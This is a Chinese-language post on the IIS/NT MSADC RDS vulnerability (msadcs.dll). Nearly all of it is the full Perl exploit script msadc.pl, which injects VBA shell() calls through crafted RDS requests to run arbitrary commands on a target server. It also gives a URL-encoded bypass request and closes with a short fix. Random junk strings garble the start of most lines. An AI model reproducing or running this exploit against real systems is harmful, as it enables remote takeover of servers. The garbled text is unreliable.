IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
; Z7!BU t^"8M6BqC; 涉及程序:
v$Fz^<Na Microsoft NT server
T`fT[BaY #jg-q|nd 描述:
,^8':X"A{! 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
`1(ED= | `|?<KF164 详细:
<I34@;R c 如果你没有时间读详细内容的话,就删除:
[B;okW c:\Program Files\Common Files\System\Msadc\msadcs.dll
W j^@Zq# 有关的安全问题就没有了。
/~w*)e) QrK%DN 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
B
os`+Y CU\gx*=E 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
{%u^O/M 关于利用ODBC远程漏洞的描述,请参看:
`x/i1^/_@ #<b\B qYG http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 5)T[ha77u [;Lgbgt3f 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
V<S6a http://www.microsoft.com/security/bulletins/MS99-025faq.asp G&^8)S@1 <i</pA 这里不再论述。
!>> A@3 qzbW0AM[M 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
mz6]=]1w RVttk )Ny /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
SR?mSpq5 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
2e%\aP`D2 *cXq=/s o/o6|[=3 #将下面这段保存为txt文件,然后: "perl -x 文件名"
~nU9j"$ -o%? ]S #!perl
<hCO-r# #
n]$rLm%^ # MSADC/RDS 'usage' (aka exploit) script
VtI`Qcjc #
?8H{AuLB # by rain.forest.puppy
Y?J/KW3 #
lr~
|=}^ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
"/e)v{ # beta test and find errors!
4x[_lsj rIcgf1v70 use Socket; use Getopt::Std;
\z.bORy getopts("e:vd:h:XR", \%args);
~9FL]qo A)"L+Yu5 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
S._2..%G s=(q#Z if (!defined $args{h} && !defined $args{R}) {
HL4=P,' print qq~
3pvqF,"~D Usage: msadc.pl -h <host> { -d <delay> -X -v }
!;,\HvEZYw -h <host> = host you want to scan (ip or domain)
-#9et30 -d <seconds> = delay between calls, default 1 second
x;yvv3-$ -X = dump Index Server path table, if available
&Jj|+P-lY -v = verbose
02t({>` -e = external dictionary file for step 5
yPtE5"(o K*T^w3= Or a -R will resume a command session
tW|0_m>{ /-FV1G,h ~; exit;}
Itr4Pr #%nV\ Bl $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
T,9q~*" if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
S!u8JG1 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
6WZffB{-TK if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
-V6caVlg $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
&mVClq if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
e`g+Jf`AT kh.P)h'9 if (!defined $args{R}){ $ret = &has_msadc;
MZQDFuvDxZ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
W.[!Q` P1rjF:x[* print "Please type the NT commandline you want to run (cmd /c assumed):\n"
o{#aF=`{ . "cmd /c ";
?V!5VHa $in=<STDIN>; chomp $in;
zw15r" R $command="cmd /c " . $in ;
'4i8&p`/ Cwls e- if (defined $args{R}) {&load; exit;}
uOzoE_i G8+&fn6 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
!xck
~EAS &try_btcustmr;
Z[*unIk p=nbsS~": print "\nStep 2: Trying to make our own DSN...";
63l&
ihj &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
f4P({V a`xAk^w+ print "\nStep 3: Trying known DSNs...";
O$6&4p*F. &known_dsn;
.c}+kHv hJ`Gu7 print "\nStep 4: Trying known .mdbs...";
*/IiL%g4u &known_mdb;
/_m)D;!y ]$L5}pE3 if (defined $args{e}){
:5CyR3P print "\nStep 5: Trying dictionary of DSN names...";
o-H?q! &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
I
m
I$~q' q{9 \hEeb print "Sorry Charley...maybe next time?\n";
I?PqWG!O exit;
EB!ne)X 2T+-[}* ##############################################################################
e,}h^^" i \NV<I
sub sendraw { # ripped and modded from whisker
1xS+r)_n@ sleep($delay); # it's a DoS on the server! At least on mine...
:po6%}hn my ($pstr)=@_;
;:
_K,FU socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
SZe55mK ` die("Socket problems\n");
;@qS#7SRB if(connect(S,pack "SnA4x8",2,80,$target)){
_"Bj`5S select(S); $|=1;
M#o.O?.` print $pstr; my @in=<S>;
``jNj1t{} select(STDOUT); close(S);
1!(lpp return @in;
Y}R$RDRL } else { die("Can't connect...\n"); }}
2
G_KTYJ +U<YM94? ##############################################################################
B@M9oNWHu <9X@\uvU.< sub make_header { # make the HTTP request
yR|2><A my $msadc=<<EOT
uFSU|SDd. POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
M]6+s`?r User-Agent: ACTIVEDATA
\78^ O Host: $ip
_x(hlHFk Content-Length: $clen
082iEG Connection: Keep-Alive
bC:sd2s RKzty=j4 ADCClientVersion:01.06
ZS=H1 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
k)7i^1U c|.te]!ds --!ADM!ROX!YOUR!WORLD!
BM?!? Content-Type: application/x-varg
kE<CuO Content-Length: $reqlen
l,h`YIy #d,)Qe[ EOT
![K\)7 iKo ; $msadc=~s/\n/\r\n/g;
JS ^Cc return $msadc;}
QG?!XWz _[&V9Jt ##############################################################################
lFt! xk~gGT& sub make_req { # make the RDS request
*nU5PSs my ($switch, $p1, $p2)=@_;
0yC~"u[N Y my $req=""; my $t1, $t2, $query, $dsn;
`.pEI q^ !1I# L!9 if ($switch==1){ # this is the btcustmr.mdb query
7d>w]R,Z $query="Select * from Customers where City=" . make_shell();
Ygk_gBRiC $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
6k;5T $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
6vbKKn`ST E<+ G5j elsif ($switch==2){ # this is general make table query
~{lb`M^]h $query="create table AZZ (B int, C varchar(10))";
X<8|uP4 $dsn="$p1";}
EF:ec9 . f> Jj5he/ elsif ($switch==3){ # this is general exploit table query
*$%~/Q@] $query="select * from AZZ where C=" . make_shell();
z[J=WI $dsn="$p1";}
id9QfJ9t G3TS?u8Q elsif ($switch==4){ # attempt to hork file info from index server
3?V'O6 $query="select path from scope()";
G@ot^n3 $dsn="Provider=MSIDXS;";}
JR]elRR .q
MxShUU elsif ($switch==5){ # bad query
&j:prc[W $query="select";
:'Gn?dv| $dsn="$p1";}
<jJ'T?,
DDR4h"Y $t1= make_unicode($query);
3@x[M?$ $t2= make_unicode($dsn);
L @T/4e./ $req = "\x02\x00\x03\x00";
Kt*b)
< $req.= "\x08\x00" . pack ("S1", length($t1));
:'wxm3f $req.= "\x00\x00" . $t1 ;
A)9]^@, $req.= "\x08\x00" . pack ("S1", length($t2));
]pe7I
P $req.= "\x00\x00" . $t2 ;
wnd
#J ` $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
(LTu=1 return $req;}
8m' f8.x Vc9Bg2f5 ##############################################################################
uxL+oP0 wX)'1H):T sub make_shell { # this makes the shell() statement
j%`
C return "'|shell(\"$command\")|'";}
@Ik5BT o`Z3} ##############################################################################
aMe&4Q E va&/o?P| sub make_unicode { # quick little function to convert to unicode
wry`2_c my ($in)=@_; my $out;
."dT6u E for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
OAq-(_H return $out;}
5(CInl YG0/e#5 ##############################################################################
BEb?jRMjLg iSf%N>y'K sub rdo_success { # checks for RDO return success (this is kludge)
\m)s"Sh. my (@in) = @_; my $base=content_start(@in);
i695P}J2 if($in[$base]=~/multipart\/mixed/){
Pq+|*Y<|& return 1 if( $in[$base+10]=~/^\x09\x00/ );}
mr}o0@5av return 0;}
HqV55o5f' PH%t#a!j3/ ##############################################################################
vT{(7m!Ra p9i7<X2& sub make_dsn { # this makes a DSN for us
`TO Xktj my @drives=("c","d","e","f");
hb*Y-$Zp print "\nMaking DSN: ";
Cu%BU}( foreach $drive (@drives) {
gKTCfD~ print "$drive: ";
e}2?)B`[ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
E7h@Y~bNhW "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
?&:N|cltD . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
I\1E=6" $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
*%jXjTA0D return 0 if $2 eq "404"; # not found/doesn't exist
U>!TM##1QD if($2 eq "200") {
-n"f>c_{> foreach $line (@results) {
Nk-xnTZ" return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
8t=H } return 0;}
_"Y7}A\9 }*!L~B! ##############################################################################
QyTNV -ABj>y[ sub verify_exists {
PYi<iSr my ($page)=@_;
,s%+vD$O^ my @results=sendraw("GET $page HTTP/1.0\n\n");
T$MXsq return $results[0];}
phb
;D |g{50r'= ##############################################################################
J ##a;6@ Yl au sub try_btcustmr {
W<&/5s my @drives=("c","d","e","f");
5KB Z-, my @dirs=("winnt","winnt35","winnt351","win","windows");
(BH<\&yHE n+=7u[AZi foreach $dir (@dirs) {
).,twf58 print "$dir -> "; # fun status so you can see progress
Nz{qu}dt foreach $drive (@drives) {
&0T7Uv-` print "$drive: "; # ditto
v,Kum<oi? $reqlen=length( make_req(1,$drive,$dir) ) - 28;
-{*3<2rFK $reqlenlen=length( "$reqlen" );
]+ub
R; $clen= 206 + $reqlenlen + $reqlen;
1^NC=IS9z BIMX2.S1o my @results=sendraw(make_header() . make_req(1,$drive,$dir));
[YlRz if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
a {7*um else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
+ rB3\R"d tC1'IE-h ##############################################################################
%Jl6e}! }L Q%% sub odbc_error {
]+pE1-p\ my (@in)=@_; my $base;
uh9b!8 my $base = content_start(@in);
y /8iEs if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
NlhC7 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
2vUcSKG7 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
D3g5#.$,}> $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
+-t&li%F return $in[$base+4].$in[$base+5].$in[$base+6];}
(oiQ5s^f print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
'#A_KHD print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
9BOn8p;yz $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
}@$CS5w >nehyo:# ##############################################################################
D{8B;+ ~,F]~|U7l sub verbose {
#bGYHN my ($in)=@_;
#r>)A return if !$verbose;
2 PPb print STDOUT "\n$in\n";}
1HSt} xK[[b ##############################################################################
:1t&>x=T ffB<qf)?G sub save {
d/T Fx my ($p1, $p2, $p3, $p4)=@_;
9gK1Gx: open(OUT, ">rds.save") || print "Problem saving parameters...\n";
,?K5/3ss print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
"6WJj3hN close OUT;}
kN<;*jHV _,F\%} ##############################################################################
MftaT5 ZrP
8/> sub load {
XOS^&; my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Vd.XZ*}r* open(IN,"<rds.save") || die("Couldn't open rds.save\n");
7Fa<m]k @p=<IN>; close(IN);
GdScYAC
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
"7(@I^'t6 $target= inet_aton($ip) || die("inet_aton problems");
0:`YY8j1k print "Resuming to $ip ...";
es69P) $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
pIm ]WNX( if($p[1]==1) {
'Q7t5v@FF $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
jfvlkE-uK $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
P-^-~/>n my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Lo[;{A$u if (rdo_success(@results)){print "Success!\n";}
='Oxy else { print "failed\n"; verbose(odbc_error(@results));}}
.d#Hh&jj elsif ($p[1]==3){
92,@tNQQ} if(run_query("$p[3]")){
e7Gb7c~ print "Success!\n";} else { print "failed\n"; }}
D ][I#vh elsif ($p[1]==4){
fe6Op if(run_query($drvst . "$p[3]")){
mT j print "Success!\n"; } else { print "failed\n"; }}
qncZpXw^ exit;}
|j8#n`' uRuu!{$ ##############################################################################
i)'u!V TFbF^Kd#:d sub create_table {
`"~ X1; my ($in)=@_;
7|J&fc5BP $reqlen=length( make_req(2,$in,"") ) - 28;
i7\>uni $reqlenlen=length( "$reqlen" );
v+C D{Tc $clen= 206 + $reqlenlen + $reqlen;
~d3BVKP5 my @results=sendraw(make_header() . make_req(2,$in,""));
P4MP`A return 1 if rdo_success(@results);
6QPbmO]z my $temp= odbc_error(@results); verbose($temp);
w3>G3=b return 1 if $temp=~/Table 'AZZ' already exists/;
H?ue!5R#L return 0;}
?q'r9Ehe Xn!=/<TIVz ##############################################################################
|CS&H2!s zZ<~yi3A9 sub known_dsn {
*D7oHwDU # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
q{yzux my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
da8
R.1o "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
[ifQLsHA "banner", "banners", "ads", "ADCDemo", "ADCTest");
FFN.9[Ly LXe'{W+bk foreach $dSn (@dsns) {
s, #$o3 print ".";
<dk9n}y<, next if (!is_access("DSN=$dSn"));
aO<H!hK if(create_table("DSN=$dSn")){
cwUor}<| print "$dSn successful\n";
!VfVpi+- if(run_query("DSN=$dSn")){
ryd}-_LL print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
`AdHyE print "Something's borked. Use verbose next time\n";}}} print "\n";}
ybB<AkYc h*
/ ##############################################################################
wz:w6q }u5J<*:bZ sub is_access {
\\"CgH- my ($in)=@_;
.=
8Es# $reqlen=length( make_req(5,$in,"") ) - 28;
5kv]k? $reqlenlen=length( "$reqlen" );
5'0kf7 $clen= 206 + $reqlenlen + $reqlen;
>R/^[([;] my @results=sendraw(make_header() . make_req(5,$in,""));
r^\Wo7q my $temp= odbc_error(@results);
0wETv verbose($temp); return 1 if ($temp=~/Microsoft Access/);
8,m: return 0;}
8HSGOs =8 F|WH=s3 ##############################################################################
okW'}@jD C|ou7g4'p sub run_query {
\ItAc2,Fl my ($in)=@_;
~1{~iB2G $reqlen=length( make_req(3,$in,"") ) - 28;
~#zb $reqlenlen=length( "$reqlen" );
0`WZ $clen= 206 + $reqlenlen + $reqlen;
Y7yzM1?t my @results=sendraw(make_header() . make_req(3,$in,""));
@qsOWx`l$ return 1 if rdo_success(@results);
hP1;$ my $temp= odbc_error(@results); verbose($temp);
C4C!-12 return 0;}
pq5bK0NQ rHtX4;f+>< ##############################################################################
+d6Jrd* sy9Yd PPE sub known_mdb {
Y9(BxDP_+Y my @drives=("c","d","e","f","g");
ewinG-hX_ my @dirs=("winnt","winnt35","winnt351","win","windows");
t2%gS"
[ my $dir, $drive, $mdb;
#+3I$ k my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
=u&NdMy a@gm r%C # this is sparse, because I don't know of many
7.v{ =UP my @sysmdbs=( "\\catroot\\icatalog.mdb",
y|D-W>0cX3 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
`VOLw*Ci "\\system32\\certmdb.mdb",
3j$,x(ua9 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
VzFzVeJ <gr2k8m6$ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
m9m~ 2 "\\cfusion\\cfapps\\forums\\forums_.mdb",
z;i4F.p "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
-IS?8\Q< "\\cfusion\\cfapps\\security\\realm_.mdb",
n~&e>_;(. "\\cfusion\\cfapps\\security\\data\\realm.mdb",
\cq.M/p "\\cfusion\\database\\cfexamples.mdb",
IRDD
"\\cfusion\\database\\cfsnippets.mdb",
.rbKvd?-} "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
=~QC)y_ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
}pPt- k "\\cfusion\\brighttiger\\database\\cleam.mdb",
}Qvoms<k "\\cfusion\\database\\smpolicy.mdb",
wsCT9&p "\\cfusion\\database\cypress.mdb",
n!XSB7d~X "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
d e~3: "\\website\\cgi-win\\dbsample.mdb",
:20k6 ) "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
A}n5dg0u "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
AwGDy + ); #these are just
j: B,K.: foreach $drive (@drives) {
2HvzMo-4 foreach $dir (@dirs){
1 ^=[k foreach $mdb (@sysmdbs) {
4=n%<U`Z/ print ".";
27jZ~Bp$ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
0 :1ldU
4 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
12%4>2}~> if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
-
e"XEot~ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
1HNX6 } else { print "Something's borked. Use verbose next time\n"; }}}}}
,}42]%$G 9]/ju foreach $drive (@drives) {
W.U|mNJ$ foreach $mdb (@mdbs) {
\~q cYp print ".";
&@xeWB if(create_table($drv . $drive . $dir . $mdb)){
vui{[" print "\n" . $drive . $dir . $mdb . " successful\n";
wZUR if(run_query($drv . $drive . $dir . $mdb)){
3H47 vm(` print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
m4@w M? } else { print "Something's borked. Use verbose next time\n"; }}}}
&($Zs'X }
32V,25 (`5 pDx}~IB ##############################################################################
z'}?mE3i p}swJ;S sub hork_idx {
NBZ>xp[U print "\nAttempting to dump Index Server tables...\n";
jk}m print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
}tZA7),L $reqlen=length( make_req(4,"","") ) - 28;
>pl*2M& $reqlenlen=length( "$reqlen" );
oE4hGt5x{ $clen= 206 + $reqlenlen + $reqlen;
7dU7cc my @results=sendraw2(make_header() . make_req(4,"",""));
0=J69Yd if (rdo_success(@results)){
k-vxKrjZ/ my $max=@results; my $c; my %d;
;R?9|:7 for($c=19; $c<$max; $c++){
|tS~\_O/ $results[$c]=~s/\x00//g;
cB[.ET$ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
?|9$o/Q} $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
/L"&'~ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
;42D+q=s $d{"$1$2"}="";}
;w}5:3+ foreach $c (keys %d){ print "$c\n"; }
KBFAV& } else {print "Index server doesn't seem to be installed.\n"; }}
DWH)<\? Uyyw'Ni ##############################################################################
k||DcwO rJm%qSZz sub dsn_dict {
)Z 3fytY open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Qmh*Gh?v while(<IN>){
wbId}! $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
WH$
Ls(' next if (!is_access("DSN=$dSn"));
oYN# T=Xi
if(create_table("DSN=$dSn")){
62LQUl]< print "$dSn successful\n";
jQ31u if(run_query("DSN=$dSn")){
$bKa"T* print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Fw5r\J87c print "Something's borked. Use verbose next time\n";}}}
K\ \UF print "\n"; close(IN);}
[0e]zyB+ M O/-?@w ##############################################################################
CQ3{'"b w65
$ R sub sendraw2 { # ripped and modded from whisker
i=<(fq sleep($delay); # it's a DoS on the server! At least on mine...
h(G(U_V-Od my ($pstr)=@_;
G:rM_q9\u socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
6l $o^R^D die("Socket problems\n");
'17u
Wq if(connect(S,pack "SnA4x8",2,80,$target)){
n1W}h@>8 print "Connected. Getting data";
:r/rByd' open(OUT,">raw.out"); my @in;
*lG$B@;rc| select(S); $|=1; print $pstr;
y!^RL,HIL while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
U-s6h;^O close(OUT); select(STDOUT); close(S); return @in;
/qL&)24 } else { die("Can't connect...\n"); }}
n{Mj<\kL (Qq$ql27 ##############################################################################
Q\:'gx8` tI C_/
6 sub content_start { # this will take in the server headers
q&
Vt* my (@in)=@_; my $c;
Yazpfw 7'd for ($c=1;$c<500;$c++) {
6C/D&+4 if($in[$c] =~/^\x0d\x0a/){
Zy7@"C if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
W:>RstbnMG else { return $c+1; }}}
%]Nz54! return -1;} # it should never get here actually
rd1&?X o#wF/ I ##############################################################################
I$wP`gQh }Gz"og*8 sub funky {
5J&n<M0G1 my (@in)=@_; my $error=odbc_error(@in);
TCF[iE{ if($error=~/ADO could not find the specified provider/){
uj/le0 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
ZcO!cR&*'J exit;}
hoeTJ/;dm if($error=~/A Handler is required/){
R/O_*XY print "\nServer has custom handler filters (they most likely are patched)\n";
1ck2Gxn exit;}
W^+bgg<. if($error=~/specified Handler has denied Access/){
=8dCk\/ print "\nServer has custom handler filters (they most likely are patched)\n";
R4JO)<'K& exit;}}
l>&)_:\ a4: PufS ##############################################################################
*G~c6BZ a<gzI sub has_msadc {
n(f&uV_): my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
a3lo;Cfp my $base=content_start(@results);
:({lXGc}4? return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
p-;]O~^ return 0;}
65J'uN x{ZVq 4 ########################
u X0wg ?0;b}Xl-
ohM'Fx"q 解决方案:
;.:UfW 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
T)Nis~ 2、移除web 目录: /msadc